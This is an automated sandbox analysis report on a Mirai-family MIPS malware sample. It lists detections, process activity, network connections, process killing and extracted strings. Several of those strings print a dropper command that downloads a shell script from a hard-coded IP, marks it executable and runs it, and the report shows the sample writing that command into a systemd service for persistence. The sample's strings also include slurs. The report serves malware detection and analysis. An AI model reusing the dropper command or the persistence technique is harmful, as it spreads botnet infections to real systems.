Edit tour

Linux Analysis Report
mips.elf

Overview

General Information

Sample name:	mips.elf
Analysis ID:	1585052
MD5:	ade42a2e91917e954524de04d1e3d86e
SHA1:	a642bd1688b2758ccfe482fc467d6555f512141f
SHA256:	801c99e4f98a563c705771a06ef9290c3f1b262cec82e521a2f3f39641512e5f
Tags:	elfMiraiuser-abuse_ch
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Sample deletes itself

Sample tries to kill multiple processes (SIGKILL)

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585052
Start date and time:	2025-01-07 01:22:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	mips.elf
Detection:	MAL
Classification:	mal64.spre.evad.linELF@0/4@225/0

Warnings

VT rate limit hit for: tcpdown.su

Runtime Messages

Command:	/tmp/mips.elf
PID:	5441
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	made you my bitch
Standard Error:

Process Tree

system is lnxubuntu20

mips.elf (PID: 5441, Parent: 5367, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/mips.elf

mips.elf New Fork (PID: 5443, Parent: 5441)

mips.elf New Fork (PID: 5445, Parent: 5443)

mips.elf New Fork (PID: 5447, Parent: 5443)

mips.elf New Fork (PID: 5451, Parent: 5447)

mips.elf New Fork (PID: 5449, Parent: 5443)

sh (PID: 5449, Parent: 5443, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload"

sh New Fork (PID: 5453, Parent: 5449)

systemctl (PID: 5453, Parent: 5449, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

mips.elf New Fork (PID: 5459, Parent: 5443)

sh (PID: 5459, Parent: 5443, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable startup_command.service"

sh New Fork (PID: 5461, Parent: 5459)

systemctl (PID: 5461, Parent: 5459, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable startup_command.service

systemd New Fork (PID: 5457, Parent: 5456)

snapd-env-generator (PID: 5457, Parent: 5456, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5463, Parent: 5462)

snapd-env-generator (PID: 5463, Parent: 5462, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

gnome-session-binary New Fork (PID: 5485, Parent: 1588)

sh (PID: 5485, Parent: 1588, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-rfkill

gsd-rfkill (PID: 5485, Parent: 1588, MD5: 88a16a3c0aba1759358c06215ecfb5cc) Arguments: /usr/libexec/gsd-rfkill

systemd New Fork (PID: 5496, Parent: 1)

systemd-hostnamed (PID: 5496, Parent: 1, MD5: 2cc8a5576629a2d5bd98e49a4b8bef65) Arguments: /lib/systemd/systemd-hostnamed

gdm3 New Fork (PID: 5627, Parent: 1400)

Default (PID: 5627, Parent: 1400, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 5628, Parent: 1400)

Default (PID: 5628, Parent: 1400, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

systemd New Fork (PID: 5633, Parent: 1)

systemd-user-runtime-dir (PID: 5633, Parent: 1, MD5: d55f4b0847f88131dbcfb07435178e54) Arguments: /lib/systemd/systemd-user-runtime-dir stop 127

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: mips.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: mips.elf	Virustotal: Detection: 48%			Perma Link
Source: mips.elf	ReversingLabs: Detection: 52%

Source: mips.elf	String: /proc//exe%s/%s/proc/%s/cmdlinerwgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe@
Source: mips.elf	String: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.20.138/auto.sh \|\| busybox wget http://154.216.20.138/auto.sh \|\| curl -O http://154.216.20.138/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: mips.elf	String: /tmp/rc_local.tmpr+/usr/bin/systemctl/etc/init.dcd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.20.138/auto.sh \|\| busybox wget http://154.216.20.138/auto.sh \|\| curl -O http://154.216.20.138/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdogmade you my bitch
Source: startup_command.service.13.dr	String: ExecStart=cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.20.138/auto.sh \|\| busybox wget http://154.216.20.138/auto.sh \|\| curl -O http://154.216.20.138/auto.sh; chmod 777 auto.sh; ./auto.sh (null)

Source: global traffic	TCP traffic: 192.168.2.13:45526 -> 45.200.149.95:2601
Source: global traffic	TCP traffic: 192.168.2.13:59516 -> 45.200.149.167:2601
Source: global traffic	TCP traffic: 192.168.2.13:50380 -> 104.168.33.8:2601
Source: global traffic	TCP traffic: 192.168.2.13:40144 -> 45.200.149.249:2601
Source: global traffic	TCP traffic: 192.168.2.13:37566 -> 45.200.149.96:2601
Source: global traffic	TCP traffic: 192.168.2.13:55124 -> 23.94.242.130:2601
Source: global traffic	TCP traffic: 192.168.2.13:53102 -> 23.94.37.42:2601

Source: /tmp/mips.elf (PID: 5441)

Socket: 127.0.0.1:39123

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: tcpdown.su

Source: startup_command.service.13.dr	String found in binary or memory: http://154.216.20.138/auto.sh
Source: mips.elf, startup_command.service.13.dr	String found in binary or memory: http://154.216.20.138/auto.sh;

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

System Summary

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 727, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 914, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 917, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 1805, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 1884, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 2961, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 5445, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 5451, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 5485, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /proc//exe%s/%s/proc/%s/cmdlinerwgetcurlnetstatgreppsbusyboxlsmvechokillkillallbashrebootshutdownhaltiptablespowerofffaggot got malware'd/tmp/opt/home/dev/var/sbin/proc/self/exe@
Source: Initial sample	String containing 'busybox' found: cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.20.138/auto.sh \|\| busybox wget http://154.216.20.138/auto.sh \|\| curl -O http://154.216.20.138/auto.sh; chmod 777 auto.sh; ./auto.sh %s
Source: Initial sample	String containing 'busybox' found: /tmp/rc_local.tmpr+/usr/bin/systemctl/etc/init.dcd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.20.138/auto.sh \|\| busybox wget http://154.216.20.138/auto.sh \|\| curl -O http://154.216.20.138/auto.sh; chmod 777 auto.sh; ./auto.sh %s/dev/watchdog/dev/misc/watchdogmade you my bitch

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 727, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 914, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 917, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 1805, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 1884, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 2961, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 5445, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 5451, result: successful	Jump to behavior
Source: /tmp/mips.elf (PID: 5447)	SIGKILL sent: pid: 5485, result: successful	Jump to behavior

Source: classification engine

Classification label: mal64.spre.evad.linELF@0/4@225/0

Source: /usr/libexec/gsd-rfkill (PID: 5485)	Directory: <invalid fd (9)>/..	Jump to behavior
Source: /usr/libexec/gsd-rfkill (PID: 5485)	Directory: <invalid fd (8)>/..	Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 5496)	Directory: <invalid fd (10)>/..	Jump to behavior

Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/5389/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/239/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/241/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/5284/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/371/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/134/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5441)	File opened: /proc/816/cmdline	Jump to behavior

Source: /tmp/mips.elf (PID: 5449)	Shell command executed: sh -c "systemctl daemon-reload"			Jump to behavior
Source: /tmp/mips.elf (PID: 5459)	Shell command executed: sh -c "systemctl enable startup_command.service"			Jump to behavior

Source: /bin/sh (PID: 5453)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload			Jump to behavior
Source: /bin/sh (PID: 5461)	Systemctl executable: /usr/bin/systemctl -> systemctl enable startup_command.service			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Sample deletes itself

Source: /tmp/mips.elf (PID: 5441)

File: /tmp/mips.elf

Jump to behavior

Source: /tmp/mips.elf (PID: 5441)	Queries kernel information via 'uname':			Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 5496)	Queries kernel information via 'uname':			Jump to behavior

Source: mips.elf, 5445.1.00007f1ab046c000.00007f1ab0476000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuthl4/var/lib/NetworkManagerF
Source: mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: u-binfmt/mips/var/lib/vmware
Source: mips.elf, 5441.1.000055eb12103000.000055eb121aa000.rw-.sdmp, mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp, mips.elf, 5451.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: u-binfmt/mips/var/lib/vmware/VGAuth
Source: mips.elf, 5441.1.00007fffd50db000.00007fffd50fc000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.ntKeKC
Source: mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: /var/lib/vmware
Source: mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: u-binfmt/mips/var/lib/vmware/VGAuth/aliasStore
Source: mips.elf, 5441.1.00007fffd50db000.00007fffd50fc000.rw-.sdmp, mips.elf, 5445.1.00007fffd50db000.00007fffd50fc000.rw-.sdmp, mips.elf, 5451.1.00007fffd50db000.00007fffd50fc000.rw-.sdmp	Binary or memory string: %s/qemu-op
Source: mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: /tmp/vmware-root_727-4290690966
Source: mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: Uu-binfmt/mips/var/lib/vmware
Source: mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: !/var/lib/vmware/VGAuthQ
Source: mips.elf, 5445.1.00007f1ab045a000.00007f1ab046c000.rw-.sdmp	Binary or memory string: P/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-colord.service-PB7Ovf$/tmp/vmware-root_727-4290690966\/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-timedated.service-SI3Xpf4/tmp/hsperfdata_root
Source: mips.elf, 5445.1.00007f1ab046c000.00007f1ab0476000.rw-.sdmp	Binary or memory string: 8/var/lib/vmwareF
Source: mips.elf, 5441.1.00007fffd50db000.00007fffd50fc000.rw-.sdmp	Binary or memory string: U/tmp/qemu-open.ntKeKC\
Source: mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth/aliasStore
Source: mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: Uu-binfmt/mips/var/lib/vmware/VGAuth/aliasStore!/var/lib/PackageKitQ
Source: mips.elf, 5441.1.00007fffd50db000.00007fffd50fc000.rw-.sdmp, mips.elf, 5445.1.00007fffd50db000.00007fffd50fc000.rw-.sdmp, mips.elf, 5451.1.00007fffd50db000.00007fffd50fc000.rw-.sdmp	Binary or memory string: fx86_64/usr/bin/qemu-mips/tmp/mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.elf
Source: mips.elf, 5445.1.00007f1ab046c000.00007f1ab0476000.rw-.sdmp	Binary or memory string: 8/var/lib/vmware
Source: mips.elf, 5451.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: !/sbin/fdformat0!/sbin/mount.vmhgfs10L
Source: mips.elf, 5451.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: /sbin/mount.vmhgfs
Source: mips.elf, 5445.1.00007f1ab046c000.00007f1ab0476000.rw-.sdmp	Binary or memory string: (/var/lib/vmware/VGAuth/aliasStore
Source: mips.elf, 5445.1.00007f1ab046c000.00007f1ab0476000.rw-.sdmp	Binary or memory string: vmware
Source: mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: U/mips/pr1/tmp/vmware-root_727-42906909660!/proc/5427/cmdline!
Source: mips.elf, 5441.1.000055eb12103000.000055eb121aa000.rw-.sdmp, mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp, mips.elf, 5451.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: mips.elf, 5445.1.000055eb12103000.000055eb121aa000.rw-.sdmp	Binary or memory string: Uu-binfmt/mips/var/lib/vmware/VGAuth1/var/lib/vmware/VGAuth/aliasStoreQ
Source: mips.elf, 5445.1.00007f1ab046c000.00007f1ab0476000.rw-.sdmp	Binary or memory string: (/var/lib/vmware/VGAuth/aliasStore
Source: mips.elf, 5445.1.00007f1ab045a000.00007f1ab046c000.rw-.sdmp	Binary or memory string: $/tmp/vmware-root_727-4290690966
